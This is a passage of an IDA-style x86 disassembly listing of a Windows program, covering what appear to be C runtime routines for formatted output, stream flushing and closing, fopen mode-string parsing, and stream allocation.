		mov	[eax], ecx


loc_418225:				; CODE XREF: sub_417D4C+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_418454	; default
; ---------------------------------------------------------------------------


loc_418231:				; CODE XREF: sub_417D4C+2F7j
					; sub_417D4C+40Ej
		or	[ebp+var_4], 40h


loc_418235:				; CODE XREF: sub_417D4C+432j
		mov	[ebp+var_C], 0Ah


loc_41823C:				; CODE XREF: sub_417D4C+491j
					; sub_417D4C+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41824E
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_418538
		pop	ecx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41824E:				; CODE XREF: sub_417D4C+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_418275
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41826A
		call	sub_41852B
		pop	ecx
		movsx	eax, ax


loc_418267:				; CODE XREF: sub_417D4C+527j
					; sub_417D4C+539j
		cdq
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41826A:				; CODE XREF: sub_417D4C+510j
		call	sub_41852B
		pop	ecx
		movzx	eax, ax
		jmp	short loc_418267
; ---------------------------------------------------------------------------


loc_418275:				; CODE XREF: sub_417D4C+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_418287
		call	sub_41852B
		pop	ecx
		jmp	short loc_418267
; ---------------------------------------------------------------------------


loc_418287:				; CODE XREF: sub_417D4C+531j
		call	sub_41852B
		pop	ecx
		xor	edx, edx


loc_41828F:				; CODE XREF: sub_417D4C+500j
					; sub_417D4C+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_4182B0
		test	edx, edx
		jg	short loc_4182B0
		jl	short loc_41829F
		test	eax, eax
		jnb	short loc_4182B0


loc_41829F:				; CODE XREF: sub_417D4C+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_4182B4
; ---------------------------------------------------------------------------


loc_4182B0:				; CODE XREF: sub_417D4C+547j
					; sub_417D4C+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_4182B4:				; CODE XREF: sub_417D4C+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_4182BD
		and	edi, 0


loc_4182BD:				; CODE XREF: sub_417D4C+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_4182CC
		mov	[ebp+var_10], 1
		jmp	short loc_4182D0
; ---------------------------------------------------------------------------


loc_4182CC:				; CODE XREF: sub_417D4C+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_4182D0:				; CODE XREF: sub_417D4C+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_4182DA
		and	[ebp+var_1C], 0


loc_4182DA:				; CODE XREF: sub_417D4C+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_4182E0:				; CODE XREF: sub_417D4C+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_4182F0
		mov	eax, esi
		or	eax, edi
		jz	short loc_41832B


loc_4182F0:				; CODE XREF: sub_417D4C+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_417260
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_4172E0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_418321
		add	ebx, [ebp+var_2C]


loc_418321:				; CODE XREF: sub_417D4C+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_4182E0
; ---------------------------------------------------------------------------


loc_41832B:				; CODE XREF: sub_417D4C+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_418356
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_418349
		test	eax, eax
		jnz	short loc_418356


loc_418349:				; CODE XREF: sub_417D4C+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_418353:				; CODE XREF: sub_417D4C+35Fj
					; sub_417D4C+406j ...
		mov	[ebp+var_C], eax


loc_418356:				; CODE XREF: sub_417D4C+21Bj
					; sub_417D4C+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_418454	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41838E
		test	bh, 1
		jz	short loc_418373
		mov	[ebp+var_16], 2Dh
		jmp	short loc_418387
; ---------------------------------------------------------------------------


loc_418373:				; CODE XREF: sub_417D4C+61Fj
		test	bl, 1
		jz	short loc_41837E
		mov	[ebp+var_16], 2Bh
		jmp	short loc_418387
; ---------------------------------------------------------------------------


loc_41837E:				; CODE XREF: sub_417D4C+62Aj
		test	bl, 2
		jz	short loc_41838E
		mov	[ebp+var_16], 20h


loc_418387:				; CODE XREF: sub_417D4C+625j
					; sub_417D4C+630j
		mov	[ebp+var_1C], 1


loc_41838E:				; CODE XREF: sub_417D4C+61Aj
					; sub_417D4C+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_4183AE
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184C2
		add	esp, 10h


loc_4183AE:				; CODE XREF: sub_417D4C+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_4184F3
		add	esp, 10h
		test	bl, 8
		jz	short loc_4183E0
		test	bl, 4
		jnz	short loc_4183E0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4184C2
		add	esp, 10h


loc_4183E0:				; CODE XREF: sub_417D4C+67Bj
					; sub_417D4C+680j
		cmp	[ebp+var_24], 0
		jz	short loc_418427
		cmp	[ebp+var_C], 0
		jle	short loc_418427
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4183F5:				; CODE XREF: sub_417D4C+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_41D18F
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41843C
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4184F3
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4183F5
		jmp	short loc_41843C
; ---------------------------------------------------------------------------


loc_418427:				; CODE XREF: sub_417D4C+698j
					; sub_417D4C+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4184F3
		add	esp, 10h


loc_41843C:				; CODE XREF: sub_417D4C+6BCj
					; sub_417D4C+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_418454 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4184C2
		add	esp, 10h


loc_418454:				; CODE XREF: sub_417D4C+68j
					; sub_417D4C+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_417D78


loc_418465:				; CODE XREF: sub_417D4C+1Fj
					; sub_417D4C+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417D4C	endp

; ---------------------------------------------------------------------------
off_41846D	dd offset loc_417EEB	; DATA XREF: sub_417D4C+6Er
		dd offset loc_417DC1	; jump table for switch	statement
		dd offset loc_417DDC
		dd offset loc_417E28
		dd offset loc_417E5F
		dd offset loc_417E67
		dd offset loc_417E9C
		dd offset loc_417F2F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41848D	proc near		; CODE XREF: sub_417D4C+1BDp
					; sub_417D4C+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_4184A6
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4184B1
; ---------------------------------------------------------------------------


loc_4184A6:				; CODE XREF: sub_41848D+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_417C37
		pop	ecx
		pop	ecx


loc_4184B1:				; CODE XREF: sub_41848D+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4184BE
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4184BE:				; CODE XREF: sub_41848D+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41848D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184C2	proc near		; CODE XREF: sub_417D4C+65Ap
					; sub_417D4C+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4184F0
		mov	esi, [esp+8+arg_C]


loc_4184D3:				; CODE XREF: sub_4184C2+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41848D
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4184F0
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4184D3


loc_4184F0:				; CODE XREF: sub_4184C2+Bj
					; sub_4184C2+25j
		pop	edi
		pop	esi
		retn
sub_4184C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184F3	proc near		; CODE XREF: sub_417D4C+670p
					; sub_417D4C+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_418527
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_418509:				; CODE XREF: sub_4184F3+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41848D
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_418527
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_418509


loc_418527:				; CODE XREF: sub_4184F3+Cj
					; sub_4184F3+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4184F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41852B	proc near		; CODE XREF: sub_417D4C+E5p
					; sub_417D4C+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41852B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418538	proc near		; CODE XREF: sub_417D4C+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_418538	endp


; =============== S U B	R O U T	I N E =======================================



sub_418548	proc near		; CODE XREF: sub_417D4C+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_418548	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418556	proc near		; CODE XREF: sub_4159D4+17p
					; sub_4159D4+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_418574
		mov	ecx, off_437D70
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_4185C6
; ---------------------------------------------------------------------------


loc_418574:				; CODE XREF: sub_418556+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_437D70
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_418599
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_4185A2
; ---------------------------------------------------------------------------


loc_418599:				; CODE XREF: sub_418556+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_4185A2:				; CODE XREF: sub_418556+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_41D1F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4185C2
		leave
		retn
; ---------------------------------------------------------------------------


loc_4185C2:				; CODE XREF: sub_418556+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_4185C6:				; CODE XREF: sub_418556+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_418556	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185CB	proc near		; CODE XREF: sub_415B40+2Ap
					; sub_41D55A+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_46A8C0
		jnb	loc_418665
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:46A7C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_418665
		push	edi
		call	sub_41D4C6
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_418644
		cmp	edi, 1
		jz	short loc_418612
		cmp	edi, 2
		jnz	short loc_418628


loc_418612:				; CODE XREF: sub_4185CB+40j
		push	2
		call	sub_41D4C6
		push	1
		mov	ebp, eax
		call	sub_41D4C6
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_418644


loc_418628:				; CODE XREF: sub_4185CB+45j
		push	edi
		call	sub_41D4C6
		pop	ecx
		push	eax
		call	dword_42106C	; CloseHandle
		test	eax, eax
		jnz	short loc_418644
		call	dword_421088	; RtlGetLastWin32Error
		mov	ebp, eax
		jmp	short loc_418646
; ---------------------------------------------------------------------------


loc_418644:				; CODE XREF: sub_4185CB+3Bj
					; sub_4185CB+5Bj ...
		xor	ebp, ebp


loc_418646:				; CODE XREF: sub_4185CB+77j
		push	edi
		call	sub_41D44C
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_418661
		push	ebp
		call	sub_41C5D7
		pop	ecx
		jmp	short loc_418676
; ---------------------------------------------------------------------------


loc_418661:				; CODE XREF: sub_4185CB+8Bj
		xor	eax, eax
		jmp	short loc_418679
; ---------------------------------------------------------------------------


loc_418665:				; CODE XREF: sub_4185CB+Ej
					; sub_4185CB+2Fj
		and	dword_469498, 0
		mov	dword_469494, 9


loc_418676:				; CODE XREF: sub_4185CB+94j
		or	eax, 0FFFFFFFFh


loc_418679:				; CODE XREF: sub_4185CB+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4185CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41867E	proc near		; CODE XREF: sub_415B40+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_4186A7
		test	al, 8
		jz	short loc_4186A7
		push	dword ptr [esi+8]
		call	sub_415E3D
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_4186A7:				; CODE XREF: sub_41867E+Aj
					; sub_41867E+Ej
		pop	esi
		retn
sub_41867E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186A9	proc near		; CODE XREF: sub_418749+2Dp
					; sub_418749+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_4186BB
		push	esi
		call	sub_418749
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4186BB:				; CODE XREF: sub_4186A9+7j
		push	esi
		call	sub_4186E4
		test	eax, eax
		pop	ecx
		jz	short loc_4186CB
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4186CB:				; CODE XREF: sub_4186A9+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_4186E0
		push	dword ptr [esi+10h]
		call	sub_41D503
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4186E0:				; CODE XREF: sub_4186A9+26j
		xor	eax, eax
		pop	esi
		retn
sub_4186A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186E4	proc near		; CODE XREF: sub_415B40+1Ap
					; sub_416E3E+37p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_418731
		test	ax, 108h
		jz	short loc_418731
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_418731
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_41C42A
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41872A
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_418731
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_418731
; ---------------------------------------------------------------------------


loc_41872A:				; CODE XREF: sub_4186E4+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_418731:				; CODE XREF: sub_4186E4+14j
					; sub_4186E4+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4186E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_418740	proc near		; CODE XREF: sub_41D17Bp
		push	1
		call	sub_418749
		pop	ecx
		retn
sub_418740	endp


; =============== S U B	R O U T	I N E =======================================



sub_418749	proc near		; CODE XREF: sub_4186A9+Ap
					; sub_418740+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_46A7A0, esi
		jle	short loc_4187A7


loc_41875A:				; CODE XREF: sub_418749+5Cj
		mov	eax, dword_469780
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41879E
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41879E
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_418784
		push	eax
		call	sub_4186A9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41879E
		inc	ebx
		jmp	short loc_41879E
; ---------------------------------------------------------------------------


loc_418784:				; CODE XREF: sub_418749+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41879E
		test	cl, 2
		jz	short loc_41879E
		push	eax
		call	sub_4186A9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41879E
		or	edi, eax


loc_41879E:				; CODE XREF: sub_418749+1Bj
					; sub_418749+23j ...
		inc	esi
		cmp	esi, dword_46A7A0
		jl	short loc_41875A


loc_4187A7:				; CODE XREF: sub_418749+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_4187B2
		mov	eax, edi


loc_4187B2:				; CODE XREF: sub_418749+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_418749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4187B6	proc near		; CODE XREF: sub_415B96+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41D0B0
		test	eax, eax
		pop	ecx
		jz	short loc_41883F
		cmp	esi, offset dword_438488
		jnz	short loc_4187D4
		xor	eax, eax
		jmp	short loc_4187DF
; ---------------------------------------------------------------------------


loc_4187D4:				; CODE XREF: sub_4187B6+18j
		cmp	esi, offset dword_4384A8
		jnz	short loc_41883F
		push	1
		pop	eax


loc_4187DF:				; CODE XREF: sub_4187B6+1Cj
		inc	dword_469654
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41883F
		cmp	dword_4694EC[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4694ECh[eax*4]
		mov	ebx, 1000h
		jnz	short loc_418825
		push	ebx
		call	sub_415DC9
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_418825
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_418832
; ---------------------------------------------------------------------------


loc_418825:				; CODE XREF: sub_4187B6+4Dj
					; sub_4187B6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_418832:				; CODE XREF: sub_4187B6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41883F:				; CODE XREF: sub_4187B6+10j
					; sub_4187B6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_4187B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418843	proc near		; CODE XREF: sub_415B96+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_41886D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_41887E
		push	esi
		call	sub_4186E4
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41886D:				; CODE XREF: sub_418843+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_41887E
		push	eax
		call	sub_4186E4
		pop	ecx


loc_41887E:				; CODE XREF: sub_418843+10j
					; sub_418843+32j
		pop	esi
		retn
sub_418843	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418880	proc near		; CODE XREF: sub_415BC8+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_46965C
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_4188B9
		cmp	al, 72h
		jz	short loc_4188B2
		cmp	al, 77h
		jnz	loc_4189CD
		mov	ecx, 301h
		jmp	short loc_4188BE
; ---------------------------------------------------------------------------


loc_4188B2:				; CODE XREF: sub_418880+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_4188C1
; ---------------------------------------------------------------------------


loc_4188B9:				; CODE XREF: sub_418880+1Dj
		mov	ecx, 109h


loc_4188BE:				; CODE XREF: sub_418880+30j
		or	esi, 2


loc_4188C1:				; CODE XREF: sub_418880+37j
		push	1
		pop	edx


loc_4188C4:				; CODE XREF: sub_418880+8Bj
					; sub_418880+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_4189B3
		cmp	edx, ebx
		jz	loc_4189B3
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_418952
		jz	short loc_418942
		sub	eax, 2Bh
		jz	short loc_41892C
		sub	eax, 19h
		jz	short loc_418922
		sub	eax, 0Eh
		jz	short loc_41890D
		dec	eax
		jnz	loc_4189A4
		cmp	[ebp+var_4], ebx
		jnz	loc_4189A4
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------


loc_41890D:				; CODE XREF: sub_418880+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_4189A4
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------


loc_418922:				; CODE XREF: sub_418880+6Aj
		test	cl, 40h
		jnz	short loc_4189A4
		or	ecx, 40h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------


loc_41892C:				; CODE XREF: sub_418880+65j
		test	cl, 2
		jnz	short loc_4189A4
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_4188C4
; ---------------------------------------------------------------------------


loc_418942:				; CODE XREF: sub_418880+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_4189A4
		or	ecx, eax
		jmp	loc_4188C4
; ---------------------------------------------------------------------------


loc_418952:				; CODE XREF: sub_418880+5Ej
		sub	eax, 62h
		jz	short loc_41899F
		dec	eax
		jz	short loc_418988
		sub	eax, 0Bh
		jz	short loc_418971
		sub	eax, 6
		jnz	short loc_4189A4
		test	ch, 0C0h
		jnz	short loc_4189A4
		or	ch, 40h
		jmp	loc_4188C4
; ---------------------------------------------------------------------------


loc_418971:				; CODE XREF: sub_418880+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_4189A4
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_4188C4
; ---------------------------------------------------------------------------


loc_418988:				; CODE XREF: sub_418880+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4189A4
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_4188C4
; ---------------------------------------------------------------------------


loc_41899F:				; CODE XREF: sub_418880+D5j
		test	ch, 0C0h
		jz	short loc_4189AB


loc_4189A4:				; CODE XREF: sub_418880+72j
					; sub_418880+7Bj ...
		xor	edx, edx
		jmp	loc_4188C4
; ---------------------------------------------------------------------------


loc_4189AB:				; CODE XREF: sub_418880+122j
		or	ch, 80h
		jmp	loc_4188C4
; ---------------------------------------------------------------------------


loc_4189B3:				; CODE XREF: sub_418880+4Aj
					; sub_418880+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_41D55A
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_4189D1


loc_4189CD:				; CODE XREF: sub_418880+25j
		xor	eax, eax
		jmp	short loc_4189EB
; ---------------------------------------------------------------------------


loc_4189D1:				; CODE XREF: sub_418880+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_469654
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_4189EB:				; CODE XREF: sub_418880+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418880	endp


; =============== S U B	R O U T	I N E =======================================



sub_4189F0	proc near		; CODE XREF: sub_415BC8p
		mov	edx, dword_46A7A0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_418A61
		mov	ebx, dword_469780
		mov	edi, ebx


loc_418A0C:				; CODE XREF: sub_4189F0+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_418A27
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_418A22
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_418A0C
		jmp	short loc_418A61
; ---------------------------------------------------------------------------


loc_418A22:				; CODE XREF: sub_4189F0+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_418A4B
; ---------------------------------------------------------------------------


loc_418A27:				; CODE XREF: sub_4189F0+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_415DC9
		pop	ecx
		mov	ecx, dword_469780
		mov	[edi+ecx], eax
		mov	eax, dword_469780
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_418A61
		mov	esi, edi


loc_418A4B:				; CODE XREF: sub_4189F0+35j
		cmp	esi, ebp
		jz	short loc_418A61
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


